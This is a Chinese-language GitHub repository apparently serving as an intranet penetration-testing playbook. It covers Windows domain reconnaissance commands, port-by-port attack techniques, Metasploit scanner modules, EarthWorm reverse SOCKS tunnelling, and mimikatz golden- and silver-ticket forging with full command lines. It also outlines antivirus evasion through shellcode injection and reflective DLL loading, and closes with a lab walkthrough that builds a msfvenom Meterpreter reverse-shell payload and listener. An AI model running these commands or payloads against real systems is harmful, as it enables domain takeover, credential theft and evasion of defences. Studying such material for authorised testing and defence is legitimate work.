├── pic ├── test.cpp ├── 捕获1.PNG ├── 捕获2.PNG ├── 捕获3.PNG └── 捕获4.PNG ├── 常见端口与服务 └── README.md /pic/test.cpp: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /pic/捕获1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnnyZhouX/Intranet-Hacking/HEAD/pic/捕获1.PNG -------------------------------------------------------------------------------- /pic/捕获2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnnyZhouX/Intranet-Hacking/HEAD/pic/捕获2.PNG -------------------------------------------------------------------------------- /pic/捕获3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnnyZhouX/Intranet-Hacking/HEAD/pic/捕获3.PNG -------------------------------------------------------------------------------- /pic/捕获4.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnnyZhouX/Intranet-Hacking/HEAD/pic/捕获4.PNG -------------------------------------------------------------------------------- /常见端口与服务: -------------------------------------------------------------------------------- 1 | 常见的默认端口 2 | 1、web类(web漏洞/敏感目录) 3 | 4 | 第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ... 5 | 6 | 80 web 7 | 80-89 web 8 | 8000-9090 web 9 | 10 | 2、数据库类(扫描弱口令) 11 | 12 | 1433 MSSQL 13 | 1521 Oracle 14 | 3306 MySQL 15 | 5432 PostgreSQL 16 | 50000 DB2 17 | 18 | 3、特殊服务类(未授权/命令执行类/漏洞) 19 | 20 | 443 SSL心脏滴血 21 | 445 ms08067/ms11058/ms17010等 22 | 873 Rsync未授权 23 | 5984 CouchDB http://xxx:5984/_utils/ 24 | 6379 redis未授权 25 | 7001,7002 WebLogic默认弱口令,反序列 26 | 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 27 | 11211 memcache未授权访问 28 | 27017,27018 Mongodb未授权访问 29 | 50000 SAP命令执行 30 | 50070,50030 hadoop默认端口未授权访问 31 | 32 | 4、常用端口类(扫描弱口令/端口爆破) 33 | 34 | 21 ftp 35 | 22 SSH 36 | 23 Telnet 37 | 445 SMB弱口令扫描 38 | 2601,2604 zebra路由,默认密码zebra 39 | 3389 远程桌面 40 | 41 | 5、端口合计所对应的服务 42 | 43 | 21 ftp 44 | 22 SSH 45 | 23 Telnet 46 | 25 SMTP 47 | 53 DNS 48 | 69 TFTP 49 | 80 web 50 | 80-89 web 51 | 110 POP3 52 | 135 RPC 53 | 139 NETBIOS 54 | 143 IMAP 55 | 161 SNMP 56 | 389 LDAP 57 | 443 SSL心脏滴血以及一些web漏洞测试 58 | 445 SMB 59 | 512,513,514 Rexec 60 | 873 Rsync未授权 61 | 1025,111 NFS 62 | 1080 socks 63 | 1158 ORACLE EMCTL2601,2604 zebra路由,默认密码zebra案 64 | 1433 MSSQL (暴力破解) 65 | 1521 Oracle:(iSqlPlus Port:5560,7778) 66 | 2082/2083 cpanel主机管理系统登陆 (国外用较多) 67 | 2222 DA虚拟主机管理系统登陆 (国外用较多) 68 | 2601,2604 zebra路由,默认密码zebra 69 | 3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 70 | 3306 MySQL (暴力破解) 71 | 3312/3311 kangle主机管理系统登陆 72 | 3389 远程桌面 73 | 3690 svn 74 | 4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 75 | 4848 GlassFish web中间件 弱口令:admin/adminadmin 76 | 5432 PostgreSQL 77 | 5900 vnc 78 | 5984 CouchDB http://xxx:5984/_utils/ 79 | 6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 80 | 6379 redis未授权 81 | 7001,7002 WebLogic默认弱口令,反序列 82 | 7778 Kloxo主机控制面板登录 83 | 8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 84 | 8080 tomcat/WDCd/ 主机管理系统,默认弱口令 85 | 8080,8089,9090 JBOSS 86 | 8081 Symantec AV/Filter for MSE 87 | 8083 Vestacp主机管理系统 (国外用较多) 88 | 8649 ganglia 89 | 8888 amh/LuManager 主机管理系统默认端口 90 | 9000 fcgi fcig php执行 91 | 9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager 92 | 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 93 | 10000 Virtualmin/Webmin 服务器虚拟主机管理系统 94 | 11211 memcache未授权访问 95 | 27017,27018 Mongodb未授权访问 96 | 28017 mongodb统计页面 97 | 50000 SAP命令执行 98 | 50060 hadoop 99 | 50070,50030 hadoop默认端口未授权访问 100 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hack_For_Intranet 2 | 3 | 0x01. 信息收集 4 | ---- 5 | #### 1.常见信息收集命令 6 | 7 | 8 | #ipconfig: 9 | ``` 10 | ipconfig /all ------> 查询本机 IP 段,所在域等 11 | ``` 12 | #net: 13 | ``` 14 | net user ------> 本机用户列表 15 | net localgroup administrators ------> 本机管理员[通常含有域用户] 16 | net user /domain ------> 查询域用户 17 | net group /domain ------> 查询域里面的工作组 18 | net group "domain admins" /domain ------> 查询域管理员用户组 19 | net localgroup administrators /domain ------> 登录本机的域管理员 20 | net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台) 21 | net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表 22 | net view /domain:domainname 23 | ``` 24 | #dsquery 25 | ``` 26 | dsquery computer domainroot -limit 65535 && net group "domain 27 | computers" /domain ------> 列出该域内所有机器名 28 | dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名 29 | dsquery subnet ------>列出该域内网段划分 30 | dsquery group && net group /domain ------>列出该域内分组 31 | dsquery ou ------>列出该域内组织单位 32 | dsquery server && net time /domain------>列出该域内域控制器 33 | ``` 34 | #### 2.第三方信息收集 35 | 36 | ``` 37 | NETBIOS 信息收集 38 | SMB 信息收集 39 | 空会话信息收集 40 | 漏洞信息收集等 41 | ``` 42 | #### 3.内网主动扫描相关 43 | 44 | ``` 45 | 1.nmap 等工具扫描 46 | 47 | 2.msf自带模块扫描 48 | 49 | MSF内网渗透 扫描模块 50 | 51 | 端口扫描 52 | 53 | auxiliary/scanner/portscan 54 | scanner/portscan/ack ACK防火墙扫描 55 | scanner/portscan/ftpbounce FTP跳端口扫描 56 | scanner/portscan/syn SYN端口扫描 57 | scanner/portscan/tcp TCP端口扫描 58 | scanner/portscan/xmas TCP"XMas"端口扫描 59 | 60 | SMB扫描 61 | 62 | smb枚举auxiliary/scanner/smb/smb_enumusers 63 | 返回DCERPC信息auxiliary/scanner/smb/pipe_dcerpc_auditor 64 | 扫描SMB2协议auxiliary/scanner/smb/smb2 65 | 扫描smb共享文件auxiliary/scanner/smb/smb_enumshares 66 | 枚举系统上的用户auxiliary/scanner/smb/smb_enumusers 67 | SMB登录auxiliary/scanner/smb/smb_login 68 | SMB登录use windows/smb/psexec(通过md5值登录) 69 | 扫描组的用户auxiliary/scanner/smb/smb_lookupsid 70 | 扫描系统版本auxiliary/scanner/smb/smb_version 71 | 72 | mssql扫描(端口tcp1433udp1434) 73 | 74 | admin/mssql/mssql_enum MSSQL枚举 75 | admin/mssql/mssql_exec MSSQL执行命令 76 | admin/mssql/mssql_sql MSSQL查询 77 | scanner/mssql/mssql_login MSSQL登陆工具 78 | scanner/mssql/mssql_ping 测试MSSQL的存在和信息 79 | 80 | 另外还有一个mssql_payload的模块 利用使用的 81 | 82 | smtp扫描 83 | 84 | smtp枚举auxiliary/scanner/smtp/smtp_enum 85 | 扫描smtp版本auxiliary/scanner/smtp/smtp_version 86 | 87 | snmp扫描 88 | 89 | 通过snmp扫描设备auxiliary/scanner/snmp/community 90 | 91 | ssh扫描 92 | 93 | ssh登录auxiliary/scanner/ssh/ssh_login 94 | ssh公共密钥认证登录auxiliary/scanner/ssh/ssh_login_pubkey 95 | 扫描ssh版本测试auxiliary/scanner/ssh/ssh_version 96 | 97 | telnet扫描 98 | 99 | telnet登录auxiliary/scanner/telnet/telnet_login 100 | 扫描telnet版本auxiliary/scanner/telnet/telnet_version 101 | 102 | tftp扫描 103 | 104 | 扫描tftp的文件auxiliary/scanner/tftp/tftpbrute 105 | 106 | ftp版本扫描scanner/ftp/anonymous 107 | ARP扫描 108 | 109 | auxiliary/scanner/discovery/arp_sweep 110 | 111 | 扫描UDP服务的主机auxiliary/scanner/discovery/udp_probe 112 | 检测常用的UDP服务auxiliary/scanner/discovery/udp_sweep 113 | sniffer密码auxiliary/sniffer/psnuffle 114 | snmp扫描scanner/snmp/community 115 | vnc扫描无认证扫描scanner/vnc/vnc_none_auth 116 | 117 | 3.Cobalt Strike扫描 118 | 本身支持的arp icmp等协议扫描 119 | 各种丰富的第三方插件(注意安全)根据需求各取所需,比如Ladon,taowu等等。。。。。。 120 | 121 | 3.脚本扫描 122 | ps,py,ruby,php,Java,asp等等各种支持当前环境的扫描脚本 123 | ``` 124 | 125 | #### 4.常见端口与服务 126 | 127 | ``` 128 | | 端口号 | 端口说明 | 攻击技巧 | 129 | |--------|--------|--------| 130 | |21/22/69 |ftp/tftp:文件传输协议 |爆破\嗅探\溢出\后门| 131 | |22 |ssh:远程连接 |爆破OpenSSH;28个退格| 132 | |23 |telnet:远程连接 |爆破\嗅探| 133 | |25 |smtp:邮件服务 |邮件伪造| 134 | |53 |DNS:域名系统 |DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙| 135 | |67/68 |dhcp |劫持\欺骗| 136 | |110 |pop3 |爆破| 137 | |139 |samba |爆破\未授权访问\远程代码执行| 138 | |143 |imap |爆破| 139 | |161 |snmp |爆破| 140 | |389 |ldap |注入攻击\未授权访问| 141 | |445 |SMB |远程代码执行| 142 | |512/513/514 |linux r|直接使用rlogin| 143 | |873 |rsync |未授权访问| 144 | |1080 |socket |爆破:进行内网渗透| 145 | |1352 |lotus |爆破:弱口令\信息泄漏:源代码| 146 | |1433 |mssql |爆破:使用系统用户登录\注入攻击| 147 | |1521 |oracle |爆破:TNS\注入攻击| 148 | |2049 |nfs |配置不当| 149 | |2181 |zookeeper |未授权访问| 150 | |3306 |mysql |爆破\拒绝服务\注入| 151 | |3389 |rdp |爆破\Shift后门| 152 | |4848 |glassfish |爆破:控制台弱口令\认证绕过| 153 | |5000 |sybase/DB2 |爆破\注入| 154 | |5432 |postgresql |缓冲区溢出\注入攻击\爆破:弱口令| 155 | |5632 |pcanywhere |拒绝服务\代码执行| 156 | |5900 |vnc |爆破:弱口令\认证绕过| 157 | |6379 |redis |未授权访问\爆破:弱口令| 158 | |7001 |weblogic |Java反序列化\控制台弱口令\控制台部署webshell| 159 | |80/443/8080 |web |常见web攻击\控制台爆破\对应服务器版本漏洞| 160 | |8069 |zabbix |远程命令执行| 161 | |9080 |websphere |远程命令执行 162 | |9090 |websphere控制台 |爆破:控制台弱口令\Java反序列| 163 | |9200/9300 |elasticsearch |远程代码执行| 164 | |11211 |memcacache |未授权访问| 165 | |27017 |mongodb |爆破\未授权访问| 166 | ``` 167 | #### 5.内网拓扑架构分析 168 | ``` 169 | DMZ 170 | 管理网 171 | 生产网 172 | 测试网 173 | ``` 174 | 175 | #### 6.主机信息收集 176 | ``` 177 | 1、用户列表 178 | 179 | windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户 180 | 2、进程列表 181 | 182 | 析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等 183 | 3、服务列表 184 | 185 | 与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞] 186 | 4、端口列表 187 | 188 | 开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集 189 | 5、补丁列表 190 | 191 | 分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞 192 | 6、本机共享 193 | 194 | 本机共享列表/访问权限 本机访问的域共享/访问权限 195 | 7、本用户习惯分析 196 | 197 | 历史记录 收藏夹 文档等 198 | 8、获取当前用户密码工具 199 | Windows 200 | 201 | mimikatz 202 | wce 203 | Invoke-WCMDump 204 | mimiDbg 205 | LaZagne 206 | nirsoft_package 207 | QuarksPwDump fgdump 208 | 星号查看器等 209 | 210 | Linux 211 | 212 | LaZagne 213 | mimipenguin 214 | 215 | ``` 216 | 217 | 0x02. 常用工具与代理相关 218 | ---- 219 | #### 1.代理分类 220 | ``` 221 | 代理服务器(ProxyServer)是网络信息的中转站,它接收客户端的访问请求,并以自己的身份转发此请求。对于接收信息的一方而占,就像代理服务器向它提出请求一样,从而保护了客户端,增加了反向追踪的难度。 222 | 223 | 根据代理服务的功能划分,代理服务器可以分为:http代理服务器、socks代理服务器、VPN代理服务器等。 224 | 225 | http代理: 226 | http代理服器是一种最常见的代理服务器,它的优点是响应速度快、延迟相对较低及数量众多,如:Reduh、Tunna、reGeorg、Weevely、ABPTTS,通常不费吹灰之力就町以找到一个不错的http代理服务器。不过,它的缺点也比较明显,仅能响应http通信协议,并滤除80、8080等Web常用端口外的其他端口访问请求 227 | 举例:reGeorg,下载地址:https://github.com/sensepost/reGeorg,将reGeorg,上传到服务端。直接访问上传的reGeorg文件,提示“Georg says, 'All seems fine'”,则为正常,然后用在客户端使用命令行,运行py程序:python reGeorgSocksProxy.py -p 8080 -u http: //www.XXX.com/tunnel.jsp,接下来只要使用Socks5的工具,将代理指向127.0.0.1:8080,就可以了 228 | 229 | Socks代理服务器: 230 | Sock5代理服务器最常用。它对访问协议、访问端口方面均没有限制,可以转发各种协议的通信请求。常见工具:Frp,Earthworm, Ssocks,msf做socks代理,CobaltStrike做socks4a代理 231 | 232 | EW(EarthWorm)使用: 233 | 正向 SOCKS v5 服务器: 234 | ./ew -s ssocksd -l 1080 235 | 236 | 反弹 SOCKS v5 服务器: 237 | a) 先在一台具有公网 ip 的主机A上运行以下命令: 238 | $ ./ew -s rcsocks -l 1080 -e 8888 239 | b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 240 | $ ./ew -s rssocks -d 1.1.1.1 -e 8888 241 | 242 | 多级级联 243 | $ ./ew -s lcx_listen -l 1080 -e 8888 244 | $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 245 | $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 246 | 247 | lcx_tran 的用法 248 | $ ./ew -s ssocksd -l 9999 249 | $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 250 | 251 | lcx_listen、lcx_slave 的用法 252 | $ ./ew -s lcx_listen -l 1080 -e 8888 253 | $ ./ew -s ssocksd -l 9999 254 | $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 255 | 256 | “三级级联”的本地SOCKS测试用例以供参考 257 | $ ./ew -s rcsocks -l 1080 -e 8888 258 | $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 259 | $ ./ew -s lcx_listen -l 9999 -e 7777 260 | $ ./ew -s rssocks -d 127.0.0.1 -e 7777 261 | 262 | VPN代理服务器 263 | 常见vpn 协议:PPTP,L2TP,IPSec,SSLVPN,OpenVPN,搭建工具推荐:https://github.com/hwdsl2/setup-ipsec-vpn,https://github.com/SoftEtherVPN/SoftEtherVPN 264 | ``` 265 | 266 | #### 2.METASPLOIT简单使用 267 | 268 | 269 | msf简单使用: 270 | 1.https://www.freebuf.com/news/210292.html 271 | 2.https://www.jianshu.com/p/1adbabecdcbd 272 | #### 3.Cobalt Strike简单使用 273 | 274 | cs简单使用: 275 | 1.https://www.freebuf.com/company-information/167460.html 276 | 2.https://www.jianshu.com/p/8d823adbc6b5 277 | 278 | 0x03. 非域渗透 279 | ---- 280 | #### 281 | ``` 282 | 端口扫描 283 | 284 | 1.端口的指纹信息(版本信息) 285 | 2.端口所对应运行的服务 286 | 3.常见的默认端口号 287 | 4.尝试弱口令 288 | 289 | 端口爆破 290 | 291 | hydra 292 | 端口弱口令 293 | 294 | NTScan 295 | Hscan 296 | 自写脚本 297 | 298 | 端口溢出 299 | 300 | smb 301 | 302 | ms08067 303 | ms17010 304 | ms11058 305 | ... 306 | 307 | apache ftp ... 308 | 常见的默认端口 309 | 1、web类(web漏洞/敏感目录) 310 | 311 | 第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ... 312 | 313 | 80 web 314 | 80-89 web 315 | 8000-9090 web 316 | 317 | 2、数据库类(扫描弱口令) 318 | 319 | 1433 MSSQL 320 | 1521 Oracle 321 | 3306 MySQL 322 | 5432 PostgreSQL 323 | 50000 DB2 324 | 325 | 3、特殊服务类(未授权/命令执行类/漏洞) 326 | 327 | 443 SSL心脏滴血 328 | 445 ms08067/ms11058/ms17010等 329 | 873 Rsync未授权 330 | 5984 CouchDB http://xxx:5984/_utils/ 331 | 6379 redis未授权 332 | 7001,7002 WebLogic默认弱口令,反序列 333 | 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 334 | 11211 memcache未授权访问 335 | 27017,27018 Mongodb未授权访问 336 | 50000 SAP命令执行 337 | 50070,50030 hadoop默认端口未授权访问 338 | 339 | 4、常用端口类(扫描弱口令/端口爆破) 340 | 341 | 21 ftp 342 | 22 SSH 343 | 23 Telnet 344 | 445 SMB弱口令扫描 345 | 2601,2604 zebra路由,默认密码zebra 346 | 3389 远程桌面 347 | 348 | ``` 349 | 350 | 0x04. 域渗透 351 | ---- 352 | #### 1.域信息收集 353 | ``` 354 | 常用收集域信息命令 355 | 356 | ipconfig /all ------ 查询本机IP段,所在域等 357 | net user ------ 本机用户列表 358 | net localhroup administrators ------ 本机管理员[通常含有域用户] 359 | net user /domain ------ 查询域用户 360 | net group /domain ------ 查询域里面的工作组 361 | net group “domain admins” /domain ------ 查询域管理员用户组 362 | net localgroup administrators /domain ------ 登录本机的域管理员 363 | net localgroup administrators workgroup\user001 /add ------域用户添加到本机 364 | net group “domain controllers” /domain ------ 查看域控制器(如果有多台) 365 | net time /domain ------ 判断主域,主域服务器都做时间服务器 366 | net config workstation ------ 当前登录域 367 | net session ------ 查看当前会话 368 | net use \ip\ipc$ pawword /user:username ------ 建立IPC会话[空连接-***] 369 | net share ------ 查看SMB指向的路径[即共享] 370 | net view ------ 查询同一域内机器列表 371 | net view \ip ------ 查询某IP共享 372 | net view /domain ------ 查询域列表 373 | net view /domain:domainname ------ 查看workgroup域中计算机列表 374 | net start ------ 查看当前运行的服务 375 | net accounts ------ 查看本地密码策略 376 | net accounts /domain ------ 查看域密码策略 377 | nbtstat –A ip ------netbios 查询 378 | netstat –an/ano/anb ------ 网络连接查询 379 | route print ------ 路由表 380 | 381 | dsquery computer ----- finds computers in the directory. 382 | dsquery contact ----- finds contacts in thedirectory. 383 | dsquery subnet ----- finds subnets in thedirectory. 384 | dsquery group ----- finds groups in thedirectory. 385 | dsquery ou ----- finds organizationalunits in the directory. 386 | dsquery site ----- finds sites in thedirectory. 387 | dsquery server ----- finds domain controllers inthe directory. 388 | dsquery user ----- finds users in thedirectory. 389 | dsquery quota ----- finds quota specificationsin the directory. 390 | dsquery partition ----- finds partitions in thedirectory. 391 | dsquery * ----- finds any object inthe directory by using a generic LDAP query. 392 | dsquery server –domain Yahoo.com | dsget server–dnsname –site —搜索域内域控制器的DNS主机名和站点名 393 | dsquery computer domainroot –name -xp –limit 10----- 搜索域内以-xp结尾的机器10台 394 | dsquery user domainroot –name admin -limit ---- 搜索域内以admin开头的用户10个 395 | 396 | tasklist /V ----- 查看进程[显示对应用户] 397 | tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表 398 | qprocess * ----- 类似tasklist 399 | qprocess /SERVER:IP ----- 远程查看计算机进程列表 400 | nslookup –qt-MX Yahoo.com ----- 查看邮件服务器 401 | whoami /all ----- 查询当前用户权限等 402 | set ----- 查看系统环境变量 403 | systeminfo ----- 查看系统信息 404 | qwinsta ----- 查看登录情况 405 | qwinsta /SERVER:IP ----- 查看远程登录情况 406 | fsutil fsinfo drives ----- 查看所有盘符 407 | gpupdate /force ----- 更新域策略 408 | 409 | wmic bios ----- 查看bios信息 410 | wmic qfe ----- 查看补丁信息 411 | wmic qfe get hotfixid ----- 查看补丁-Patch号 412 | wmic startup ----- 查看启动项 413 | wmic service ----- 查看服务 414 | wmic os ----- 查看OS信息 415 | wmic process get caption,executablepath,commandline 416 | wmic process call create “process_name” (executes a program) 417 | wmic process where name=”process_name” call terminate (terminates program) 418 | wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, 419 | volumeserialnumber (hard drive information) 420 | wmic useraccount (usernames, sid, and various security related goodies) 421 | wmic useraccount get /ALL 422 | wmic share get /ALL (you can use ? for gets help ! ) 423 | wmic startup list full (this can be a huge list!!!) 424 | wmic /node:“hostname” bios get serialnumber (this can be great for finding warranty info about target) 425 | 426 | ``` 427 | #### 2.常规渗透思路 428 | ``` 429 | 通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网 430 | 在域渗透过程如果发现域管理员的密码已经修改,可尝试利用krbtgt用户的历史hash来进行票据传递攻击,krbtgt用户的密码一般不会有人去修改 431 | 域渗透过程中可能会使用到MS14-068这个漏洞,利用该漏洞可以将任何一个域用户提权至域管理员权限 432 | 域渗透较新的CVE-2020-1472实战效果也还不错 433 | ``` 434 | 435 | #### GoldenTicket 436 | ``` 437 | Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限 438 | 制作金票的条件: 439 | 1、域名称 440 | 2、域的SID值 441 | 3、域的KRBTGT账户密码HASH 442 | 4、伪造用户名,可以是任意的 443 | 利用过程 444 | 金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的lsadump::dcsync /test.test.org /user:krbtgt 命令获取krbtgt的值 445 | 446 | 得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT 447 | mimikatz中: 448 | kerberos::golden /admin:administrator /domain:test.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:{KRBTGT HASH} /ticket:golden.kiribi 449 | /admin:伪造的用户名 450 | /domain:域名称 451 | /sid:SID值,注意是去掉最后一个-后面的值 452 | /krbtgt:krbtgt的HASH值 453 | /ticket:生成的票据名称 454 | 455 | 通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。 456 | kerberos::purge 457 | kerberos::ptt golden.kiribi 458 | kerberos::list 459 | 460 | 此时就可以通过dir成功访问域控的共享文件夹。 461 | dir \\OWA.test.org\c$ 462 | 463 | ``` 464 | #### SilverTickets 465 | ``` 466 | Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。 467 | 468 | 黄金票据和白银票据的一些区别: Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 银票:伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信 469 | 470 | 制作银票的条件: 471 | 1.域名称 472 | 2.域的SID值 473 | 3.域的服务账户的密码HASH(不是krbtgt,是域控) 474 | 4.伪造的用户名,可以是任意用户名,这里是silver_test 475 | 476 | 需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值 477 | mimikatz生成银票 478 | kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA.test.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt 479 | 参数说明: 480 | /domain:当前域名称 481 | /sid:SID值,和金票一样取前面一部分 482 | /target:目标主机,这里是OWA.TEST.ORG 483 | /service:服务名称,这里需要访问共享文件,所以是cifs 484 | /rc4:目标主机的HASH值 485 | /user:伪造的用户名 486 | /ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入 487 | 这时通过klist查看当前会话的kerberos票据可以看到生成的票据 488 | 489 | dir \\OWA.test.org\c$访问DC的共享文件夹 490 | ``` 491 | #### EnhancedGolden Tickets 492 | ``` 493 | 在Golden Ticket部分说明可利用krbtgt的密码HASH值生成金票,从而能够获取域控权限同时能够访问域内其他主机的任何服务。但是普通的金票不能够跨域使用,也就是说金票的权限被限制在当前域内 494 | 域树与域林 495 | 496 | TEST.ORG为根域,TEST1.TEST.ORG和 TEST2.TEST.ORG 均为 TEST.ORG的子域,这三个域组成了一个域树。子域的概念可以理解为一个集团在不同业务上分公司,他们有业务重合的点并且都属于 TEST1.ORG这个根域,但又独立运作。同样 TEST1.COM 也是一个单独的域树,两个域树 TEST.ORG 和 TEST1.ORG 组合起来被称为一个域林。 497 | 498 | 普通金票的局限性 499 | 500 | TEST.ORG为其他两个域(TEST1.TEST.ORG和TEST2.TEST.ORG)的根域,根域和其他域的最大的区别就是根域对整个域林都有控制权。而域正是根据Enterprise Admins组来实现这样的权限划分。 501 | 502 | Enterprise Admins组 503 | EnterpriseAdmins组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是TEST.ORG中的Administrator用户(不是本地的Administrator,是域中的Administrator)对域有完全管理控制权。 504 | 505 | Domain Admins组 506 | 子域中是不存在EnterpriseAdmins组的,在一个子域中权限最高的组就是Domain Admins组。TEST.TEST.ORG这个子域中的Administrator用户,这个Administrator有当前域的最高权限 507 | 508 | 知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据,然后通过mimikatz重新生成包含根域SID的新的金票 509 | 510 | 此时的这个票据票是拥有整个域林的控制权的 511 | ``` 512 | 513 | 0x05. 后门 514 | ---- 515 | 516 | 0x06. 免杀相关 517 | ---- 518 | #### 1.常见反病毒软件查杀方式: 519 | ``` 520 | 1.基于特征(静态查杀) 521 | 主要通过比对文件hash,或文件中存在多个字符串则这些特征,比如常见的yara规则 522 | 523 | 2.基于行为(动态查杀) 524 | 主要通过样本的内存特征,通过拦截程序运行的api调用,通过api序列,或其是否高危来判定是否为病毒 525 | 526 | 主要分析Windows内存马的2种常见Shellcode执行 527 | 528 | shellcode执行 529 | 530 | 执行shellcode最常见的方式为shellcode注入进程,利用软件漏洞(个人觉得其实也算注入的一种方式),编写加载器执行等几种方式。其中常见的shellcode注入方式:CreateThread,CreateRemoteThread,QueueUserPAC。 531 | 532 | CreateThread 533 | 1.在当前进程中申请一段空间; 534 | 2.把shellcode复制到该段空间; 535 | 3.修改改断空间的保护,允许执行权限; 536 | 4.为该内存空间的基址创造线程执行; 537 | 538 | CreateRemoteThread 539 | 1、获取要注入进程的进程ID; 540 | 2、打开目标进程; 541 | 3、在目标进程内分配可执行内存; 542 | 4、将Shellcode写入分配的内存; 543 | 5、使用分配的内存段的起始地址,在远程进程中创建线程。 544 | 545 | 546 | QueueUserPAC 547 | 1、获取要注入进程的进程ID; 548 | 2、打开目标进程; 549 | 3、在目标进程内分配内存; 550 | 4、将Shellcode写入分配的内存中; 551 | 5、 修改新分配内存的保护,以允许从该内存空间中执行代码; 552 | 6、使用分配的内存段的起始地址,在远程进程中打开一个线程; 553 | 7、在进入“alertable”状态时,将线程提交到队列中执行; 554 | 555 | dll反射 556 | 557 | 常规dll注入是利用CreateRemoteThread这一函数在目标进程中开始一个新的线程,线程执行系统的API函数LoadLibrary,同时需要dll落地。这种方式容易被查处,反射式DLL注入是一种新型的DLL注入方式,它不需要像传统的注入方式一样需要DLL落地存储,避免了注入DLL被安全软件删除的危险,核心是实现ReflectiverLoader功能,常用方法参考:https://github.com/stephenfewer/ReflectiveDLLInjection 558 | 559 | 典型的反射dll案例 560 | 反射dll与msf联动,不依赖落地一种加载dll方式,Memorymodule(https://github.com/fancycode/MemoryModule)大致实现方法: 561 | 562 | 1.将要加载的PE文件读入内存 563 | 2.初始化MemoryModule句柄 564 | 3.装载内存 565 | 4.获得导出函数地址 566 | 5.执行导出函数 567 | 6.释放MemoryModule句柄 568 | 569 | 手写一个客户端,实现从Msf上获取DLL,实现加载器的效果,远程读取并加载dll 570 | 571 | ``` 572 | 573 | #### 2.常见免杀总结 574 | ``` 575 | 二.shellcode 免杀总结 576 | shellcode"分离"免杀 577 | shellcode"混淆"免杀 578 | 白名单加载shellcode 579 | dll反射 580 | 581 | 582 | ``` 583 | 584 | 585 | 586 | 587 | 588 | 589 | 590 | 591 | 0x07. 案例分析 592 | ---- 593 | #### 1.红日的第一套靶场个人通过指南 594 | 595 | 596 | 597 | ``` 598 | 1.网络结构 599 | 靶机1 双网卡(内网:192.168.52.143,外网:192.168.101.80) 600 | 靶机2 内192.168.52.141 601 | 靶机3 内192.168.52.138 602 | 靶机2,3不出网且138域控,本地网段为192.168.101.0/24 603 | 604 | 2.题目2个入口phpmyadmin弱口令通过修改日志getshell;yxcms弱口令后台getshell。 605 | 3.使用msf生成后门上传至服务器并执行:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.66 LPORT=1234 -f exe > shell.exe 606 | 设置监听: 607 | use exploit/multi/handler 608 | set payload windows/meterpreter/reverse_tcp 609 | set lhost 192.168.101.66 610 | set lport 1234 611 | run 612 | ``` 613 | ![image](https://github.com/JohnnyZhouX/Hack_For_Intranet/blob/main/pic/%E6%8D%95%E8%8E%B72.PNG) 614 | 